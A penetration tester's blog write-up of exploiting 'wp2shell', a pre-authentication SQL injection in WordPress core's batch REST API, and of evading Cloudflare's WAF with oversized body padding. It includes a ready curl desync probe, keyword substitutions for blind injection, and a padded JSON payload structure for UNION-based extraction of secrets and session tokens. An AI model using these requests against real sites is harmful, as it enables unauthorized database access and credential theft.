wp2shell and bypassing Cloudflare's WAF with body padding
I got to play with wp2shell on a recent engagement and wanted to write up the experience.
A working PoC can be found on my github here
The bug
wp2shell is a pre-authentication SQL injection in WordPress core that Searchlight Cyber disclosed in July 2026.
The vulnerability is a route-confusion bug in serve_batch_request_v1(). The function maintains two parallel arrays while processing a batch of sub-requests: one for validation results, one for matched route handlers. If you include a malformed path like /// as a sub-request, wp_parse_url() chokes on it. The result gets pushed to the validation array but not the matches array. Now the two arrays are out of sync, and every sub-request after that gets dispatched to the wrong handler.
That means you bypass method allow-lists and parameter validation. From there you inject SQL through the author__not_in clause in WP_Query via the author_exclude parameter. Textbook UNION injection from that point.
You can confirm the desync with a marker probe:
curl -s -X POST \
-H "Content-Type: application/json" \
-d '{"requests":[
{"method":"POST","path":"///"},
{"method":"POST","path":"/wp/v2/posts"},
{"method":"POST","path":"/wp/v2/block-renderer/core/archives"},
{"method":"POST","path":"/batch/v1","body":{"requests":[]}}
]}' \
"https://target.example.com/wp-json/batch/v1"
If the response includes parse_path_failed, block_cannot_read, and rest_batch_not_allowed in that order, the arrays are desynced and you're in business. Boolean blind works right away after that: inject a TRUE condition through author_exclude, get posts back. FALSE condition, zero rows.
The Cloudflare problem
The target had Cloudflare WAF sitting in front, blocking the usual SQL keywords: UNION SELECT, AND, OR, ASCII, SUBSTRING, FROM <table>. My initial blind queries still worked because you can substitute keywords. AND becomes &&, OR becomes ||, ASCII() becomes ORD(), SUBSTRING() becomes MID(). Enough to confirm the injection and do blind extraction.
But blind extraction sucks. You're pulling data one bit at a time, burning hundreds of requests for a single value. I wanted UNION-based extraction, one request per value, reflected right in the response. And every payload with UNION SELECT ... FROM in it was getting blocked.
Body padding
This is where nowafpls from Assetnote comes in. The concept is almost too simple: Cloudflare's WAF only inspects roughly the first 128KB of a request body. Anything past that doesn't get checked.
So you pad the request. The batch API accepts JSON and doesn't care about extra keys. You throw in a "junk" field filled with ~140KB of random ASCII at the top of the body, and your actual SQL payload, sitting in author_exclude further down in the nested sub-requests, slides right past the inspection window.
Here's roughly what the request structure looks like:
{
"junk": "<~140KB of random characters>",
"requests": [
{"method": "POST", "path": "///"},
{"method": "POST", "path": "/wp/v2/posts", "body": {
"junk2": "<another ~140KB of padding>",
"requests": [
{"method": "POST", "path": "///"},
{"method": "GET", "path": "/wp/v2/posts/999999?author_exclude=0) AND 1=0 UNION ALL SELECT ...-- -&orderby=none&per_page=500"},
{"method": "GET", "path": "/wp/v2/posts"}
]
}},
{"method": "POST", "path": "/batch/v1", "body": {"requests": []}}
]
}
With the padding, full UNION ALL SELECT goes through unblocked. No keyword tricks needed. You craft your SELECT columns to match the wp_posts schema (23 columns, with dates in the right slots, publish for status, post for post type), stick your actual extraction payload in column 6 where post_content lives, and the result comes back reflected in the batch response like a normal blog post.
From there you're just running queries. Database version, user table, secret keys, session tokens, whatever you want, one request at a time, full in-band.